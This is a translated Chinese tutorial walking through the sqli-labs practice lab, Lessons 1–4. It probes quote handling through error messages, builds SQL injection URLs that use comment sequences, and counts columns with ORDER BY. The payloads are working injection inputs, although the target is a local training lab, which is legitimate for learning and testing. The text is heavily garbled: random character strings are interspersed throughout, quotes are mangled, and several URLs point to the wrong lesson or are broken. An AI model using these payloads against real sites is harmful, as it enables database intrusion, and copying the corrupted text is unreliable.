) m @) w: t0 y8 h' O U' |整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。 0 T6 l" t9 ~0 z. q2 \5 `5 `继续模糊化:现在,让我们进一步采取模糊的字符.* d6 f) s3 S, y$ M6 E" w
用单引号来进行测试9 _' F! }1 I: L; b
less1 $ f3 h9 }6 j# Fhttp://localhost/sqli-labs/Less-1/?id=1‘ ) m4 ]; P9 f. l# f. sYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1 * A" A# Z" p! J0 l5 @4 n+ tless2 f- u! y4 J2 g3 ^! Yhttp://localhost/sqli-labs/Less-2/?id=1 ’1 k. A; p. y: j) J# W6 |- y( N
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 1 9 Y* O, p( z, c2 E O/ ~( i" R, U1 C- f0 Nless3' H# N3 K% J6 m, ?& u( y6 r
http://localhost/sqli-labs/Less-3/?id=1 ’ 4 J P6 s% p: hYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 1/ x Y9 s# T: r. D% S- O/ p
所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果. / P5 i; G% S; Y3 T Q) }$ D用双引号进行测试 5 I ?4 J7 m5 u* E7 `) W用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。1 Z% l1 H- k e# |. ^8 \
, F H4 }. @) f; V" G4 r* A通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入. : m) m. {' r/ L9 G4 {" S ( U7 {* O8 v! E) C! y+ U) y# |5 B
综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。: c+ |+ V1 m: |
用\进行测试 % x, s' ]2 M, e$ }6 O. `3 J“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下:0 ~! w. k6 O: F; Y
less1 5 P9 q$ e- p" ~% y0 G: G0 c+ [http://localhost/sqli-labs/Less-1/?id=1\ 2 n5 U2 u! A; {( gYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 1) Y+ f; G( l0 ^! u6 O
less2 4 X2 T- v) c' r( P: N" Ihttp://localhost/sqli-labs/Less-2/?id=1\ p+ ^: I8 O2 p5 B1 N
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 1! R$ G& K+ l# K3 ~+ A# B" {( `
less35 e* n/ ?' E% a* ^) X0 \
http://localhost/sqli-labs/Less-3/?id=1\ 9 a4 Y3 H X4 J3 ^You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 15 P P; X# s5 E: I% z
less49 ~0 T% W5 H, I1 V$ n% z" I% q% {
http://localhost/sqli-labs/Less-4/?id=1\" l4 [+ Q) }8 W8 t. f, q
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 1 / H* ^5 @) l3 _$ A$ eless1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。5 m- N0 O# d9 l. A) r
less2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。8 T% g, L) ^! _! Y" {
less3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’).0 V9 F7 F7 f& E( n a+ i, n4 L c
less4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”). / m: e2 O8 c" B) s9 N4 y% Z这四种情况在后端查询中使用的语句实际分别为:9 @0 f! O7 r4 r/ B5 v# a4 m6 v1 s# ?
Less-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1 0 Q& B/ d+ S* I6 E0 q' ?" lLess-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1 + G/ E2 T8 `) E1 H. w# x4 C2 D3 BLess-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1 : {) S; D( y# Z- R" JLess-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,15 Z# u6 k8 ~2 ^ Y2 E
4 p8 \3 g* Z8 V对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如: " d! N, S5 E9 vLess-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,1% A. Y' s [! S E
当我们输入的参数$ID的值为1‘,查询语句就会变成如下: 3 F ]8 Z' C9 B& B. N) wSELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,1 7 \1 d" q3 ~ c; @0 v3 }+ \$ D现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法: 7 o/ b$ b+ } c" I! a$ f" q V方法一: / |" Y4 Z( P( g可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′# % e9 y! Q; a9 L/ ]# x查询语句将变为如下: & {" _; v( X4 R: J5 ~SELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,18 w' J7 \8 Q6 u* V
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,12 ~# p$ O5 B8 W& n
注射的完整URL如下:" d$ Q' j( R( |! Z+ ~
http://localhost/sqli-labs/Less-1/?id=1′–+ % Z% P: i9 i. M9 \http://localhost/sqli-labs/Less-1/?id=1′ %23 5 `9 A# j* F s0 ]: Z8 i' `' d(%23是#号的url编码)& S/ {+ d2 t4 m3 F" S, \
在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下:* o1 G7 z; D/ m3 Z
http://localhost/sqli-labs/Less-2/?id=1–+" k3 t1 P0 y# T3 R( D. _
& U4 K! V# ?$ V
ttp://localhost/sqli-labs/Less-2/?id=1 %23+ ^( E: Y1 p# ~1 S
SELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1' N% [* ]% A' u% O
SELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,17 v, j- e2 v4 X4 C1 S- o
在less3中,我们推断后端sql语句如下: ; a8 P% |4 a( ^- \SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1& S% v3 z9 C7 i6 ~2 t
所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句5 }7 w4 g m3 s# R5 V% ^; v
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,12 P1 E% L4 m' g" |* P
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1 % ]% W! b# V+ P: t注射: 1′) –+ 1′) #9 G# e: [1 K6 v/ A2 w" T
完整的注射URL:3 U& G: ]5 k& p* N% o8 @2 ~# D- U
http://localhost/sqli-labs/Less-2/?id=1‘)-+& H: D6 f$ Q# d; ~" E
http://localhost/sqli-labs/Less-2/?id=1′) %23 ^' n" q. i5 e$ R9 A
在less4中,我们推广后端sql语句如下:( H/ {& c9 q1 D/ }
SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1: j7 z! e# a4 |
同样,需要关闭掉分隔符,然后注释掉后面的语句8 U2 ]) E- e; h6 O1 }, A& P W! u
SELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,1 7 E/ F$ [8 E3 F9 Z- _0 B d& j0 VSELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,1& q, A" g' o) |2 c# Y
注射: 1″) –+ 1″) #4 q8 j- g& H, a! B
http://localhost/sqli-labs/Less-2/?id=1″)–+: Z5 F4 i! q' i
http://localhost/sqli-labs/Less-2/?id=1 “)%23 : \$ l7 a9 F: ]# o% \! b通过查询了解表中的字段数 % I' T* n# W9 r. s7 J" E2 j C正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。 1 K7 \ b' {6 @2 r2 H* C# O/ a" @下面我们测试用order by 1,order by 2……等来查询观察结果./ j7 J/ y" t% C0 [8 R. k/ D, H+ }
http://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面 * u5 o# s* k& xhttp://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列.) x4 |% ], J& i7 o9 F) y8 h& d
Lesson2:2 s- F' f; }! M' }% d( h
Injection: 1 ORDER BY 1 –+ => 没有错误. ! N7 b; ]6 C, _3 k; K! J! B' Y! `5 \) xInjection: 1 ORDER BY 2–+ => 没有错误.1 P: e# Q8 q# j N
Injection: 1 ORDER BY 3 –+ => 没有错误. / v/ | i% H0 a8 |/ y6 KInjection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列.( d5 |' ]+ z( j: p
当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。 ; }; L9 d) i* a+ d+ c( q9 V ! P6 {9 z3 S- i* c; U
本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。